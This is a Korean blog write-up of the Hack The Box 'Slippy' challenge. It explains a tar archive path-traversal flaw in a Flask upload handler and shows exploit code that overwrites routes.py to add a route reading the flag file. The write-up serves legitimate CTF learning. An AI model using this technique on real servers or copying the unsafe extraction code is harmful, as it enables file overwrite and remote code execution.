🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

183

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Hackthebox] - Slippy Writeup(문제풀이)

알 수 없는 사용자 2021. 11. 30. 06:27
728x90
반응형

문제 요약

tarfile 의 path-like object 를 이용한 path traversal 으로 server’s file overwrite (RCE)

 

문제 개요

첫 화면은 위와 같이 파일업로드 기능 외에는 별 다른 기능이 존재하지 않습니다.

제공된 소스코드 중 주요 코드만 보면 아래와 같습니다.

 

파일 업로드 타겟

// /app/application/blueprints/routes.py
@api.route('/unslippy', methods=['POST'])
def cache():
    if 'file' not in request.files:
        return abort(400)
    
    extraction = extract_from_archive(request.files['file'])
    if extraction:
        return {"list": extraction}, 200

    return '', 204

/unslippy 경로로 파일 업로드 POST 요청 시에 업로드되는 파일에 대하여 extract_from_archive 함수를 실행합니다. 그리고 그 반환 값을 index.html 템플릿 파일에 렌더링 합니다.

 

Path Traversal 타겟

import functools, tarfile, tempfile, os
from application import main

generate = lambda x: os.urandom(x).hex()

def extract_from_archive(file):
    tmp  = tempfile.gettempdir()
    path = os.path.join(tmp, file.filename)
    file.save(path)

    if tarfile.is_tarfile(path):
        tar = tarfile.open(path, 'r:gz')
        tar.extractall(tmp)

        extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
        os.makedirs(extractdir, exist_ok=True)

        extracted_filenames = []

        for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                filename = f'{extractdir}/{name}'
                os.rename(os.path.join(tmp, name), filename)
                extracted_filenames.append(filename)
                continue
            
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)

        tar.close()
        return extracted_filenames

    return False

tar.gz 파일인지 확인하고, 맞다면 압축을 임시폴더에 우선 풀고, UPLOAD_FOLDER/랜덤한값을가진디렉토리 경로를 생성하고, 그 경로에 압축푼 파일들을 옮기거나 이미 존재한다면 덮어쓰기를 한다고 합니다.

 

보다시피 filename 부분에서 문자열 합치기를 하고 있고, 이 곳에서 Path Traversal 문제가 발생하게 됩니다.

 

tarfile 모듈

그리고 무엇보다 tarfile 모듈에서는 문서(https://docs.python.org/ko/3/library/tarfile.html#module-tarfile)에도 정의되어 있다시피 path-like object 를 받아들일 수 있습니다. 상대경로 형태로 파일을 압축할 수 있다는 의미입니다.

 

tarfile — tar 아카이브 파일 읽기와 쓰기 — Python 3.10.0 문서

tarfile — tar 아카이브 파일 읽기와 쓰기 소스 코드: Lib/tarfile.py tarfile 모듈을 사용하면 gzip, bz2 및 lzma 압축을 사용하는 것을 포함하여, tar 아카이브를 읽고 쓸 수 있습니다. .zip 파일을 읽거나 쓰

docs.python.org

실제로 이를 Python 코드로 작성하여 결과를 확인해보았습니다.

// make_tarfile.py
import tarfile

tar = tarfile.open('test.tar.gz', 'w:gz')
tar.add('../../../../application') # application 디렉토리를 압축합니다.
tar.close()

그랬더니 아래와 같이 test.tar.gz 파일이 만들어졌습니다.

그리고 압축파일을 열어보면 아래와 같이 구성되어 있음을 확인할 수 있습니다.

신기하게도 상대경로를 모두 포함하고 있음을 알 수 있습니다.

 

Exploit

일단 문제에서 Flag의 경로는 /app/flag 임을 알 수 있습니다.

 

그리고 업로드가 되는 경로는 config.py를 확인해보면 알 수 있듯이 아래와 같습니다.

class Config(object):
    SECRET_KEY = generate(50)
    UPLOAD_FOLDER = '/app/application/static/archives'

extractdir 은 아래와 같습니다.

extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
// extractdir = '/app/application/static/archives/' + 랜덤한숫자들 + ''

그리고 Path Traversal 에 취약한 부분은 아래와 같습니다.

for tarinfo in tar:
            name = tarinfo.name
            if tarinfo.isreg():
                filename = f'{extractdir}/{name}'
                os.rename(os.path.join(tmp, name), filename)
                extracted_filenames.append(filename)
                continue
            
            os.makedirs(f'{extractdir}/{name}', exist_ok=True)

저는 이번 문제를 풀기위해서 /app/flag 파일의 내용을 읽어와서 출력해주는 router 를 별도로 만들었습니다.

 

그러기 위해서는 /app/application/blueprints/routes.py 파일의 내용을 수정해야할 필요가 있었습니다. 아래와 같이 작성하였습니다.

from flask import Blueprint, request, render_template, abort
from application.util import extract_from_archive

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@web.route('/flag')
def flag():
    f = open('/app/flag', 'r')
    data = f.read()
    return data, 200

@api.route('/unslippy', methods=['POST'])
def cache():
    if 'file' not in request.files:
        return abort(400)
    
    extraction = extract_from_archive(request.files['file'])
    if extraction:
        return {"list": extraction}, 200

    return '', 204

그리고 tarfile 모듈을 이용하여 위 코드 내용이 담긴 blueprints/routes.py 을 만들고 이를 하위 경로로 가지고 있는 application 디렉토리를 압축하였습니다.

 

그리고 이를 문제 사이트에 업로드하였더니 아래와 같이 나왔습니다.

정상적으로 업로드되었다면 실제로 routes.py 파일이 바뀌어서 제가 작성한 /flag 라는 경로가 /app/flag 에 위치해있는 파일의 내용을 읽어들여서 화면에 출력해줄 것입니다. 아래와 같이 잘 나오는 걸 확인할 수 있습니다.

 

- 끝 -

 

추신 : 이번 문제는 60번째로 클리어했다고 하네요. 비교적 쉬우면서 재밌는 문제였던 것 같습니다.

728x90
반응형
댓글